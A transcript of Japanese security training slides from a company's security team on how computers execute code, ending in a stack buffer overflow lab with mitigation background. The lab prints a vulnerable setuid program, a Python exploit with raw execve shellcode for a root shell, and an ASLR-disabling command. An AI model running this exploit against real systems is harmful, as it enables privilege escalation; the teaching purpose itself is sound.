Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Exploitation Fundamentals - Japanese

Exploitation Fundamentals - Japanese

* PDFでの閲覧推奨
コンピュータがどのように動いているのか、なぜバッファオーバーフローなどの脆弱性攻撃が成立するのかなどについて、具体的にデバッガ(gdb)で追いながら内容を理解しようという、社内向けトレーニングの資料です。
Repository: https://github.com/rung/training-exploit-fundamentals

Dc03bf56cb3157b6036f9818593d7e40?s=128

Hiroki Suezawa

January 22, 2020
Tweet

Transcript

  1. Exploitation Fundamentals 2020 Jan 22th @rung - Mercari Security Team

    日本語(Japanese) Github Repository: https://github.com/rung/training-exploit-fundamentals
  2. • Name ◦ Hiroki Suezawa (@rung) • Title ◦ Security

    Engineer at Mercari, Inc. ◦ 最近はSysdig Falcoやgosecプロジェクトへの Contributeを始めました! ◦ TLSなどのプロトコルが好きです • Hobby ◦ 紅茶 (Black Tea) ▪ ルフナ・ダージリン1st Flush・ニルギリ
  3. Caution • 本資料で学んだことを、悪用しないでください。 • セキュリティや低レイヤに興味のあるSoftware Engineerを対象に資料を作成し ています。 • 本資料にはCのコードやPythonのコード、アセンブリ言語が出てきますが、特に 各言語に詳しい必要はありません。

  4. Prepareration • Docker ◦ MacおよびLinux(Ubuntu18.04, VM上でもOK)で検証済みです。 ◦ ネットワークの負荷削減のため、事前に Docker imageをpullしておいてください

    • IDA Pro Free ◦ Download: https://www.hex-rays.com/products/ida/support/download_freeware.shtml docker pull suezawa/exploit-example1 && docker pull suezawa/exploit-exercise1 && docker pull suezawa/exploit-exercise2 && docker pull suezawa/exploit-exercise3
  5. Cheat sheet • Assembly cheatsheet ◦ NASM Intel x86 Assembly

    Language Cheat Sheet ◦ * We use x64(x86-64) but basically same • CPU Registers cheatsheet ◦ 本スライドでの解説 • GDB cheatsheet ◦ 本スライドでの解説 ◦ GDB Quick Reference • ASCII code sheet ◦ ascii (man)
  6. Introduction

  7. Introduction Security is fun • 本セッションの目的 ◦ コンピュータがどのように動いているか、セキュリティを通して理解を深める ▪ コンピュータの基本は変わっていないため、低レイヤの知識は長持ちすることも多い

    ▪ 本資料の内容の主な説明内容は、セキュリティというよりコンピュータの話でもある ◦ アプリケーションの脆弱性がどのように攻撃されるのかの理解を深める ◦ Security is fun! 攻撃を学ぶことで、防御をどのように行うかを考えることが出来る • 対象 ◦ セキュリティや低レイヤに興味のあるソフトウェアエンジニア • 理解について ◦ 本セッションには一回で理解するのが難しい内容も含まれています ▪ 興味を持った方が復習できることを想定して資料を作っています ▪ 低レイヤに馴染みのない方は、まずは雰囲気を掴むところからで大丈夫です ▪ 少しずつExercise 2 (Stack Buffer Overflow)やExercise 3 (Advanced)で何が起きたかを 一つ一つ確認していってください ▪ 一部のDemo動画では何が起きているかを説明するための画像も付けています
  8. Introduction 進め方 • 説明する攻撃について ◦ 実行されているプロセスの制御を奪って、攻撃コードを実行させます。 • 進め方 ◦ 1.

    Introduction ▪ 最初に、前提となるコンピュータの動きについての説明をします。デバッガを使って、コン ピュータが実行する命令を追っていきます ◦ 2. Stack Buffer Overflow ▪ 実際の攻撃の理解に入っていきます。用意された攻撃コードを追っていきます。 ◦ 3. Advanced ▪ 現代のLinuxがどのような攻撃Mitigation技術を備えているかを説明します。 ▪ 脆弱なGoコードを、用意された攻撃コードを用いて攻撃します。 • 演習について ◦ まずはrungが前でやります。 ◦ そのあと、みなさんが同じことをローカルで試す時間をとります
  9. Introduction Environment • Linux x64 (64bit) ◦ このセッションで学ぶ内容は全て Linuxに関するものです ◦

    Docker for Mac経由で利用 ※Docker for Windowsも検証はしていないが動くはず • 演習・デモ環境用Githubレポジトリ ◦ rung/training-exploit-fundamentals ◦ 本資料に記載の全コマンドは、 Docker上で試せるようになっています。 ▪ Example 1: Hello World! ▪ Exercise 1: Function Call ▪ Exercise 2: Stack Buffer Overflow ▪ Exercise 3: Advanced (ROP)
  10. Introduction (Reference) Environment • Architecture of Docker for Mac ◦

    Mac上にVMが立っており、Linuxカーネルが動いている。 ◦ コンテナはLinuxカーネルとやりとりをする Mac VM/Hypervisor Linux Kernel Container1 Container2 Container3 ...
  11. Introduction 攻撃の種類 • サイバーセキュリティの攻撃の流れ ◦ 侵入→権限昇格→偵察→横展開→情報窃取 ◦ 参考: MITRE ATT&CK

    Freamwork ◦ ツールを用いて既知の脆弱性を攻撃されることも多い (Metasploit、Exploit Kit) • 本資料ではStack Buffer Overflow脆弱性を利用して、プログラムの制御を奪い 任意コード実行を行う ◦ 任意コード実行は、初期の侵入を始めとして、攻撃の各ステージで利用される。 ◦ 利用用途例 ▪ 権限昇格 (本セッションの対象) • Setuidなどで高権限を持っているバイナリを攻撃。 rootに権限昇格する ▪ リモートコード実行 • リモート経由で攻撃。接続先のサーバのシェルを操作する Company / Cloud
  12. 1. Computer Systems

  13. Computer Systems • 本セッションで紹介する攻撃の理解のためには、コンピュータの動作についての 理解が必須となります。 • 1章では、関連するコンピュータの動作について説明していきます。

  14. Computer Systems What OS does • コンピュータは入出力デバイス (I/O Device)、ネットワークアダプタなどを通して人やネットワークと interactiveにやりとりを行う

    • OSは各デバイスに固有の処理を吸収し、 Applicationに共通インターフェースを提供する Computer CPU Memory External Device I/O Device Storage Device Network OS (Linux Kernel) Application Network Adapter A Storage Device A Storage Device B Keyboard Standard interface Device driver
  15. Computer Systems What OS does Resource Management • 複数のプロセスがOS上で稼働できるようスケジューラやメモリ管理機能を備えている OS

    (Linux Kernel) Application Process1 Application Process2 Application Process3 Application Process3 Scheduling Memory Management
  16. Computer Systems System call (Syscall) Standard Interface (System call) •

    OSは、システムコールという共通インターフェースを備えており、ユーザランドの各アプリケーションは システムコールを介してカーネルの機能 (プロセス生成・メモリ確保・ネットワーク通信・ファイル操作な ど)を実施する ◦ アプリケーションは、プロセス管理やタスクスケジュール、ファイルシステム、各デバイスの詳細 を気にせずに利用することが出来る OS (Linux Kernel) Process A libc (standard library) System Call Hardware User land (ユーザーランド) Kernel
  17. Computer Systems System call (Syscall) • Linuxには300を超えるシステムコールがある (一覧) ◦ プロセスの起動:

    fork() -> execve() ◦ ネットワーク通信: socket() -> connect() ◦ ファイルの読み込み : open() -> read() • 本セッションの攻撃で利用するシステムコール ◦ read 標準入力・ファイル・ネットワーク通信などを読み込むシステムコール ▪ read(int fd, void *buf, size_t count); • fd = file descripter • *buf = 読み込む先のポインタ(メモリアドレス) • count = 読み込むサイズ ◦ execve 実行ファイルを実行するシステムコール ▪ int execve(const char *pathname, char *const argv[], char *const envp[]); • *pathname = ファイルパス • argv[] = 実行時のオプション • envp[] = 環境変数
  18. Computer Systems System call (Syscall) - libc • System Callを呼び出すためのライブラリをOSは用意している

    ◦ デファクトスタンダードは Glibc (GNU Libc) ▪ C言語を書くときに使う . C, C++, Perl, Python, Rubyなどほとんど全ての言語で最終的に 呼び出されている ◦ libcはSystem Callを呼び出すためのラッパー関数を用意している (man) ▪ long syscall(long number, ...); • number = システムコール番号 ◦ その他libcの例 ▪ stdio.h (printf)、socket.h(socket)などを始めとした主要ライブラリ群 ▪ こういった主要ライブラリ群も、最終的には syscall関数を呼び出してカーネルとやりとりし ている • システムコールが呼ばれたらカーネルモードに遷移、処理が終わったらユーザランドに戻ってくる Syscall Process Return Kernel Process User Mode Kernel Mode
  19. Computer Systems [Demo] Hello Worldからシステムコールの呼び出しをみる • Syscallラッパー関数を直接呼び出しするコード ◦ docker run

    --rm -it suezawa/exploit-example1 bash ▪ コード本体 • write system call ◦ ssize_t write(int fd, const void *buf, size_t count); ▪ fd = file descriptor, 1は標準出力 ▪ buf = 文字列へのポインタ ▪ count = サイズ len(“Hello, world!”) ◦ ※printf関数も、最終的にwrite syscallを呼び出している #include <sys/syscall.h> int main() { syscall(SYS_write, 1, "Hello World!\n", 14); return 0; } SYS_write = 1 Hello World!\n\0 (\0 is a null character)
  20. Computer Systems [Demo] Hello Worldからシステムコールの呼び出しをみる • Run • strace: System

    Call呼び出しを確認できるコマンド ◦ 全システムコールの確認 ◦ writeシステムコールのみ確認 $ docker run --rm -it suezawa/exploit-example1 bash root@d267406bb2b6:/home/appuser# ./hello Hello World! root@d267406bb2b6:/home/appuser# strace ./hello root@d267406bb2b6:/home/appuser# # strace -e trace=write ./hello write(1, "Hello World!\n\0", 14Hello World! ) = 14 +++ exited with 0 +++
  21. Computer Systems [Demo] Hello Worldからシステムコールの呼び出しをみる root@42fdb5c98a68:/home/appuser# strace ./hello execve("./hello", ["./hello"],

    0x7ffd09c3a070 /* 10 vars */) = 0 brk(NULL) = 0x1639000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=21467, ...}) = 0 mmap(NULL, 21467, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f183e438000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\34\2\0\0\0\0\0"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=2030544, ...}) = 0 mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f183e436000 mmap(NULL, 4131552, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f183de26000 mprotect(0x7f183e00d000, 2097152, PROT_NONE) = 0 mmap(0x7f183e20d000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f183e20d000 mmap(0x7f183e213000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f183e213000 close(3) = 0 arch_prctl(ARCH_SET_FS, 0x7f183e4374c0) = 0 mprotect(0x7f183e20d000, 16384, PROT_READ) = 0 mprotect(0x600000, 4096, PROT_READ) = 0 mprotect(0x7f183e43e000, 4096, PROT_READ) = 0 munmap(0x7f183e438000, 21467) = 0 write(1, "Hello World!\n\0", 14Hello World! ) = 14 exit_group(0) = ? +++ exited with 0 +++ root@42fdb5c98a68:/home/appuser#
  22. Computer Systems CPU • CPUアーキテクチャ ◦ CPUアーキテクチャごとに、独自の 命令セットを持っている ▪ Intel

    x86、x64(x86-64)、ARM、RISC ◦ 現在サーバで最も使用されている Intelのx64 (x86-64)アーキテクチャを本セッションでは扱う
  23. • レジスタ ◦ CPUの内蔵する記憶装置 ◦ 各レジスタのサイズは 64bit (8byte) • 記憶領域 (詳細な動きはあとで見ていきます

    ) ◦ RIP: インストラクションポインタ。 現在実行している命令のアドレスを指す ◦ RSP: スタックポインタ。スタックのトップの アドレスを指している ◦ RBP: ベースポインタ。スタックフレームの 開始アドレスを指している ◦ その他 (RAX, RBX, RCX, RDX, RSI, RDI, R8〜R15) ▪ 今回は値を保存する領域とだけ認識 Computer Systems CPU Ref: “Introduction to x64 Assembly” Intel Memory machine code 010101010 111101101 010101010 Address (Instraction Pointer Program Counter) RIP Memory (Stack) Stack for function1() Stack Pointer Stack for main() RSP RBP Base Pointer
  24. Computer Systems CPU • 機械語 (Machine Code) ◦ CPUは、メモリ上の機械語で書かれた命令を実行していく •

    アセンブリ言語 (Assembly Language) ◦ 機械語を人間が扱うのは厳しいので、機械語を人間にわかりやすい形で記述するための言語 が用意されている ◦ アセンブル (Assemble) ▪ アセンブリ→機械語変換 ◦ ディスアセンブル (Disassemble) ▪ 機械語→アセンブリ変換 Memory machine code 010101010111101101 010101010101101010 101011011010101010 101101010111010010 110101010101 Execution
  25. Computer Systems CPU • 主要なAssembly ◦ 記法が二種類ある(AT&T記法、Intel記法)。今回はIntel記法を扱う ◦ Ref: NASM

    Intel x86 Assembly Language Cheat Sheet ▪ x64(x86-64, 64bit)でなくIntel x86(32bit)時のチートシートだが基本は同じ xor A, B AとBをxorする。Aに結果が入る mov A, B BをAに移す add/sub A, B Aの値にBを足す/Aの値からBを引く push/pop A Aの値をスタック(メモリ上)にpushする/スタックから値をpopする call [memory address] 別関数にジャンプする + 戻りアドレスをスタックにpushする ※関数に入るときに使う leave スタックをrbpと同じアドレスに戻す + pop rbpする (mov esp, ebp ; pop ebp) ret スタックの一番上に詰まれている値(RSP)にジャンプする + スタックの一番上の値をpopする ※元の関数に戻るときに使う syscall システムコールを呼び出す
  26. Computer Systems [Demo] Let’s see aseembly int main() { syscall(SYS_write,

    1, "Hello World!\n", 14); return 0; } $ docker run --rm -it suezawa/exploit-example1 bash root@ab61fa957ebd:/home/appuser# objdump -M intel -l -S -d hello | grep -A12 "<main>:" 00000000004004c2 <main>: main(): 4004c2: 55 push rbp 4004c3: 48 89 e5 mov rbp,rsp 4004c6: b9 0e 00 00 00 mov ecx,0xe 4004cb: ba 74 05 40 00 mov edx,0x400574 4004d0: be 01 00 00 00 mov esi,0x1 4004d5: bf 01 00 00 00 mov edi,0x1 4004da: b8 00 00 00 00 mov eax,0x0 4004df: e8 fc fe ff ff call 4003e0 <syscall@plt> 4004e4: b8 00 00 00 00 mov eax,0x0 4004e9: 5d pop rbp 4004ea: c3 ret
  27. Computer Systems Executable file • Linuxの実行ファイルはELF形式 root@cbe820491a8f:/home/appuser# file hello.s hello.s:

    assembler source, ASCII text root@cbe820491a8f:/home/appuser# file hello.o hello.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), with debug_info, not stripped root@cbe820491a8f:/home/appuser# file hello hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, not stripped Assembly Code .main push rbp mov rbp, rsp mov ecx, 14 mov esi, 1 …. Assemble Source Code #include <sys/syscall.h> int main() { syscall(SYS_write, 1, "Hello World!\n", 14); return 0; } Compile Object file Machine code 01010101001010111010 1100101010101010010 ELF file (Executable) Link Machine code 01010101001010111010 1100101010101010010 Memory Info library info gcc -v -c hello.s -o hello.o Assembler: as (gcc is wrapper) gcc -v hello.o -o hello Linker: ld (gcc is wrapper) gcc -v -S hello.c -masm=intel -o hello.s C Compiler: cc1 • コンパイルの流れ
  28. Computer Systems Executable file • Dynamic Link and Static Link

    ◦ Dynamic Link (動的リンク) ▪ 共有ライブラリ(Shared Library)を別ファイルとしており実行 時に併せてロード. ▪ lddコマンドでリンクしているライブラリを表示できる ◦ Static Link (静的リンク) ▪ 共有ライブラリの実行コードを、実行ファイルに含める ELF file (Executable) Machine code 01010101001010111010 1100101010101010010 Memory Info library info libc.so root@86be50368e20:/home/appuser# ldd hello linux-vdso.so.1 (0x00007ffdbc983000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff9c6614000) /lib64/ld-linux-x86-64.so.2 (0x00007ff9c6a05000) root@1e862b573a86:/home/appuser# ldd static_hello not a dynamic executable ELF file (Executable) Machine code (main) 01010101001010111010 1100101010101010010 Memory Info Machine code (libc) 01010101001010111010 1100101010101010010 Dynamic Link Static Link
  29. Computer Systems Program Execution • プログラムの実行 ◦ execve("./hello", ["./hello"], 0x7ffdaccda970)

    • ローダー ◦ Linux Kernelが実行ファイルをメモリ上に 展開 ◦ x64の機械語(Machine Code)を最初から 実行 ▪ Dynamic Linkで実行ファイルと共有 ライブラリが分かれている場合で も、実行時には共有ライブラリの内 容がメモリ上に読み込まれる Linux Kernel ELF executable Load 0xffffffffffffffff 0x00 Virtual Memory (仮想メモリ) Machine Code(.text Segment) .rodata Segment .bss Segment Heap segment ↓ Stack Segment ↑ main() 0101010101 libc 010010011010100101 .data Segment * Only major segments included
  30. Computer Systems Physical Memory/Virtual Memory • 仮想メモリ (Virtual Memory) ◦

    CPUは仮想メモリという仕組みを持っている。 ◦ 各プロセスは実際の物理アドレスを扱わず、仮想メモリのみ扱う ▪ 複数のプロセスが同じメモリアドレスを使うことが出来る ◦ Kernalはページテーブルを管理しており、仮想アドレスと物理アドレスの対応付けを行っている ◦ CPUは仮想メモリと物理メモリを変換する仕組みを持っている (MMU) Linux Kernel Virtual Memory Physical Memory 0-100 700-800 100-200 200-300 200-300 400-500 Page table Process A Process B Process C Manage
  31. Computer Systems Physical Memory/Virtual Memory Process B RIP (instruction pointer)

    RIP (instruction pointer) ※GDBでメモリを確認する 仮想メモリを利用しているので、別プロセスにも関わらず、同じメモリアドレスを利用できる。 RIP(現在実行している命令)が同じアドレスを指せる ※同じアドレスでも、入っている内容は異なる Process A
  32. Computer Systems Memory Layout Machine Code(.text Segment) .rodata Segment .bss

    Segment Heap segment ↓ Stack Segment ↑ 0xffffffffffffffff 0x00 main() 0101010101 libc 010010011010100101 CPUが実行していく機械語(Machine Code)が入っている。 実行している命令のアドレスはRIP(Instraction Pointer)レジス タに入る。 Stack領域。高いアドレスから低いアドレスに伸びていく。 次ページで詳細を解説 今回主に使うのはtext領域とStack領域 malloc()で確保していく動的な領域 初期値なしのstatic変数・グローバル変数用領域 初期値ありのstatic変数・グローバル変数 * Only major segments included 参考: Data Segment (Wikipedia) .data Segment 定数(const)、文字列
  33. Computer Systems [Exercise] What we will do • Exercise1では攻撃はせずに、どのように関数が実行されていくかを理解します ◦

    学んでほしいこと: 関数呼び出しごとにスタックフレームが積まれていき、関数の最後に ret命令 により元の関数にリターンすること ◦ Exercise 1が理解できたら、次の Chapterで説明する攻撃を理解することができます • 使用するコード ◦ func_call.c ▪ main() • function1() ◦ function2()の順で関数を呼び出しています # ./func_call Hello function1: arg1:Hello,arg2:1,var1:10 function2: arg1:Hello,arg2:2,var1:test,var2:20
  34. Computer Systems [Exercise] Stack Frame • 関数呼び出し - function1()の場合 ◦

    main()でcall *function1 命令が呼ばれる ▪ 関数の引数はarg6までレジスタ経由で渡す ◦ call命令が呼ばれた際、あとで戻ってくるアドレスが Stackに詰まれる ◦ RBPの値をスタックに詰み (push rbp)、 RBPにスタックの先頭アドレスを入れる (mov rbp, rsp) ◦ ローカル変数などのために、スタック領域 を広げる(sub rsp, 0x20) • 関数終了時 - function1() ◦ スタック領域を戻す (leave) ◦ 元のアドレスに戻る(ret) ▪ ret == pop rip Stack Segment ↑ High Address Virtual Memory (仮想メモリ) Low Address Return Address Local Variables main() Return Address Local Variables function1() 参考: System V AMD64 ABI Saved RBP Saved RBP (main()) function(arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8); RDI RSI RDX RCX R8 R9 Use stack RSP RBP
  35. Computer Systems [Exercise] Demo • 今回演習で実施する内容のデモをします ◦ 学んでほしいこと: 関数呼び出しごとにスタックフレームが積まれていき、関数の最後にリターン すること

    • やること ◦ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise1 ◦ docker run --rm --privileged -it suezawa/exploit-exercise1 /bin/bash
  36. Computer Systems [Exercise] Demo • func_call.c #include <stdio.h> #include <string.h>

    void function2(char *arg1, int arg2) { char var1[5]; strcpy(var1, "test"); int var2 = 20; printf(" function2: arg1:%s,arg2:%d,var1:%s,var2:%d\n", arg1, arg2, var1, var2); return; } void function1(char *arg1, int arg2) { int var1 = 10; printf(" function1: arg1:%s,arg2:%d,var1:%d\n", arg1, arg2, var1); function2(arg1, 2); return; } int main() { printf("%s", "Hello\n"); function1("Hello", 1); return 0; }
  37. Computer Systems GDB Tutorial • GDB (GDB Quick Reference) レジスタ

    機械語の Disassemble スタック(RSP) に詰まれている値 ソースコード(Exercise1のみ) ※実行ファイルにデバッグ情報が含まれている場合に表示 start main()にbreakpointをsetし て起動 run (r) 起動 continue (c) 実行を進める.breakpointが あると止まる break(b) *<address> breakpointをset nexti (ni) 1命令進める. call命令で別 functionに飛ばない stepi (si) 1命令進める. call命令で別 functionに飛ぶ 起動時 gdb <file> GDB起動 GDB内
  38. Computer Systems [Exercise] Demo Link GDB with Stack Layout Image

  39. Computer Systems [Exercise] 関数呼び出しを追う • やること ◦ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise1 ◦ docker

    run --rm --privileged -it suezawa/exploit-exercise1 /bin/bash • 仮想メモリをイメージしながらGDBで命令を実行してください ◦ 1. 用意された自動スクリプトで実行 ▪ gdb func_call -x gdb-autocommand ◦ 2. ManualでGDBを実行 ▪ gdb func_call
  40. 2. Stack Buffer Overflow

  41. Stack Buffer Overflow Demo • 今回演習で使用する攻撃のデモをします ◦ 何が起きているかをいま理解する必要はありません • 攻撃の実施手順

    ◦ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise2 ◦ docker run --rm --privileged -it suezawa/exploit-exercise2 /bin/bash • 今回の攻撃 ◦ Stack Buffer Overflow脆弱性を突いた攻撃 ◦ setuidされているbofバイナリの制御を奪い、通常ユーザから rootに昇格してシェルを実行 ▪ setuid: バイナリの所有者の権限で実行 # ls -l bof -rwsr-sr-x 1 root root 8248 Jan 7 16:44 bof # (setuid)
  42. Stack Buffer Overflow Demo - Attacking using exploit_print.py Link

  43. Stack Buffer Overflow What is Stack Buffer Overflow • 脆弱性の原因

    ◦ C言語のgets, strcpy, scanf関数 ▪ メモリに何byteまで書き込んでいいか確認せずに 書き込む ▪ ローカル変数を超えた箇所にユーザからの入力 を書いてしまう ▪ 関数の最後の”ret命令”で呼び出されるreturn addressを上書くことが出来てしまう • → プログラムの制御(RIP)が奪われる Stack Segment ↑ High Address Virtual Memory (仮想メモリ) Low Address Return Address Local Variables char buf[100] (100byte) Saved RBP main() gets(), strcpy(), scanf() Write 200byte Payload (Shellcode)
  44. Stack Buffer Overflow How to attack • 今回攻撃するコード ◦ 100byteしか確保していないbuf配列に、大量の文字列を読み込めるようになっている

    ▪ gets(buf) = 標準入力をbuf配列に格納する • 大量の文字列を入力した場合の動作を確認 ◦ → Return先のアドレスに、攻撃コードを仕込むと制御を奪える #include <stdio.h> int main() { char buf[100]; setlinebuf(stdout); printf("buf = %p\n", buf); gets(buf); puts(buf); return 0; } # python -c "print ('A'*200)" | ./bof buf = 0x7fffffffe610 AAAAAAAAAAAAAAAA….. Segmentation fault root@b1df66264e7e:/home/appuser#
  45. Stack Buffer Overflow How to attack • How to attack

    ◦ gets(buf)での標準入力の読み込みに、攻 撃コードを送り込む ◦ returnポインタを攻撃コードのアドレスに飛 ばす ▪ 今回は簡単に攻撃するために、 buf のアドレスを表示させている Stack Segment ↑ High Address Low Address Return Address Local Variables char buf[100] (100byte) Shellcode (Payload) in Machine Code AAAAAAAAAAAAAAAAAA Shellcode Address $ ./bof buf = 0x7fffffffe610
  46. Stack Buffer Overflow Exploit #!/usr/bin/python import ... # Write value

    of 'buf = ' buf_addr = int(sys.argv[1], 16) # offset from buf: 120 # shellcode = 60 byte # dummy = 60 byte('A') shellcode = '\x48\x31\xc0\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x49\x89\xe0\x48\x31\xc0\x48\xc7\xc0\x2d\x70\x00\x00\x50\x49\x89\xe1\x4 8\x31\xc0\x50\x41\x51\x41\x50\x49\x89\xe2\x48\xc7\xc0\x3b\x00\x00\x00\x4c\x89\xc7\x4c\x89\xd6\x48\x31\xd2\x0f\x05' shellcode += 'A' * 60 # return address shellcode += struct.pack('<Q', buf_addr) print(shellcode) sys.stdout.flush() # if len(sys.argv) == 2 and sys.argv[1] == "printonly":... (skip) while True: print(sys.stdin.readline()) sys.stdout.flush() exploit_print.py Adjust stack Overwrite Return pointer struct.pack(‘<Q’, ...) = Write 64bit integer by little endian Shellcode
  47. Stack Buffer Overflow Shellcode • 攻撃コード (今回のソースコード) ◦ シェルを呼び出すことが目的であることが多いため、「 Shellcode」と呼ばれる

    • Shellcodeでやりたいこと ◦ syscall(SYS_execve, “/bin/sh”, [“/bin/sh”, “-p”], 0) を呼び出す ▪ このシステムコールを呼び出すと、今回攻撃する ”bof”が、/bin/shに変更される ◦ Syscallの呼び出し方 ▪ Syscall番号と引数をレジスタに setして、”syscall”命令を呼ぶ ▪ Ref: Interfacing_with_Linux ◦ 今回は、下記の状態で ”syscall”命令を呼ぶ rax rdi rsi rdx 59 (SYS_execve) “/bin/sh” (pointer) [“/bin/sh”, “-p”] (pointer) 0 (NULL)
  48. Stack Buffer Overflow Shellcode • syscallが呼ばれる際のStack・レジス タの状態 rax rdi rsi

    rdx 59 (0x3b) (SYS_execve) “/bin/sh” (pointer) [“/bin/sh”, “-p”] (pointer) 0 (NULL) Registers Stack pointer of “/bin/sh” pointer of “-p” null pointer (\0\0\0\0\0\0\0\0) array ‘-p\0\0\0\0\0\0’ ‘/bin/sh\0’ 64bit
  49. Stack Buffer Overflow Exercise - GDB Demo Link

  50. Stack Buffer Overflow Exercise • 実践 ◦ 下記資料に沿ってやってみてください . 最初に必ずASLRの無効化をしてください

    ▪ ASLRについては次の章で説明します ◦ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise2 • gdbを用いた理解 (次ページにVideoもあり) ◦ gdb bof -x gdb-autocommand ◦ 下記に注目してください ▪ リターンポインタが上書きされた後、 ret命令で攻撃コードに制御が移るところ ▪ 攻撃コードによりsyscall命令(execveシステムコール)が呼び出されるところ • 注: 演習後、ASLRの再有効化を忘れないでください ◦ Kernelの設定であり、その他の起動している Docker imageにも影響を与えます # sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 # sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0
  51. 3. Advanced

  52. Advanced Overview • Chapter3: Advanced ◦ 脆弱性のMitigation技術の紹介と、一部の Mitigationを回避する攻撃手法を紹介する • 任意コード実行を防ぐための取り組み

    ◦ 現代では、Linuxおよびコンパイラ側で攻撃への Mitigation技術を持っている ◦ 攻撃と防御のいたちごっこをしながら改善されている ◦ ※Stack Buffer Overflowの演習では、全ての Mitigationを無効にしたバイナリを使用した • History ◦ OS・コンパイラ ▪ 2000年代前半 - Mitigationの開発、普及 (本Chapterで紹介) • ASLR, SSP, NX bitなど... • 徐々にOSおよび実行ファイルに普及 • 攻撃研究者/攻撃者が各Mitigation技術の持つ弱点を使って攻撃手法を開発 ◦ 本Chapterで用いるROPという攻撃手法は2010年代初頭に普及 ◦ 脆弱性発見技術の向上 ▪ Fuzzing技術向上: American fuzzy lop Fuzzer (2013-) • Softwareに潜む大量のメモリ破壊バグの発見
  53. Advanced Mitigation • 主なMitigation技術 (次ページから詳細説明) ◦ NX bit (DEP): 実行可能なセグメントを限定

    ◦ ASLR (Address Space Layout Randomization): メモリアドレスのランダム化 ◦ PIE (Position-Independent Code): 実行コードのメモリアドレスランダム化 ◦ SSP (Stack Smashing Protection, Stack Canary): リターンポインタの上書き検知 ◦ その他のMitigation技術の例 (今回は詳細スキップ ) ▪ RELRO (RELocation Read-Only): メモリのRead-only化 ▪ FORTIFY_SOURCE: 危険な関数を別の関数に置き換え、動的にメモリ破壊をチェック • 各Mitigationが有効になっているか確認するツール ◦ checksec (解説) # checksec --file a.out RELRO STACK CANARY NX PIE .... FILE Full RELRO Canary found NX enabled PIE enabled .... a.out
  54. Advanced NX bit(No eXecute bit) / DEP • NX bit

    / DEPとは ◦ コンパイル時に有効・無効を設定 ◦ GCCではデフォルトでON ◦ 実行コード領域以外は実行できなくする • Recap: “2. Stack Buffer Overflow”での攻撃 ◦ NX bitがあるとStack領域にShellcodeを配置するこ とは出来ない 0xffffffffffffffff 0x00 Virtual Memory (仮想メモリ) Machine Code(.text Segment) .rodata Segment .bss Segment Heap segment ↓ Stack Segment ↑ main() 0101010101 libc 010010011010100101 .data Segment * Only major segments included No Execute Execute
  55. Advanced ASLR (Address Space Layout Randomization) • ASLR (Address Space

    Layout Randomization) ◦ OS側で設定. 現代は基本的にデフォルト ON ◦ Stack領域のアドレスをランダムにする ◦ Heap領域(malloc)のアドレスをランダムにす る ◦ Dynamic Linkしたライブラリのアドレスをラン ダムにする(libcなど) ◦ ELFファイルに含まれる実行コード・ Static Link された実行コードはランダム化されない • PIE (Position-independent code) ◦ ELFファイルに含まれる実行コードも含めてア ドレスをランダム化する 0xffffffffffffffff 0x00 Virtual Memory (仮想メモリ) Machine Code(.text Segment) .rodata Segment .bss Segment Heap segment ↓ Stack Segment ↑ main() 0101010101 libc 010010011010100101 .data Segment * Only major segments included randomize
  56. Advanced SSP (Stack Smashing Protection, Stack Canary) • SSP, Stack

    Canary ◦ コンパイル時に有効・無効を設定 ◦ GCCではデフォルトでON ◦ ランダムなCanaryをReturn Addressの上に 配置しret前にCheckすることで、Stack Buffer Overflowを防ぐ Stack Segment ↑ High Address Virtual Memory (仮想メモリ) Low Address Return Address Local Variables main() Return Address Local Variables function1() Saved RBP Saved RBP (main()) Stack Canary Stack Canary
  57. Advanced C • Ubuntu18.04のgccでコンパイルした場合のデフォルト ◦ ASLRはデフォルトで有効(OS側のみで設定) ◦ 現代ではOS側・コンパイラ側のMitigation技術により、Stack Buffer Overflowで実施したような

    単純な攻撃は成立することが少ない ▪ * 各Mitigation技術に対しての対策は存在している # checksec --file a.out RELRO STACK CANARY NX PIE .... FILE Full RELRO Canary found NX enabled PIE enabled .... hello a.out
  58. Advanced Go • Goのアプローチ ◦ libcは使わない ▪ System callを呼ぶアセンブリのコード自体が goのlibraryで実装されている=

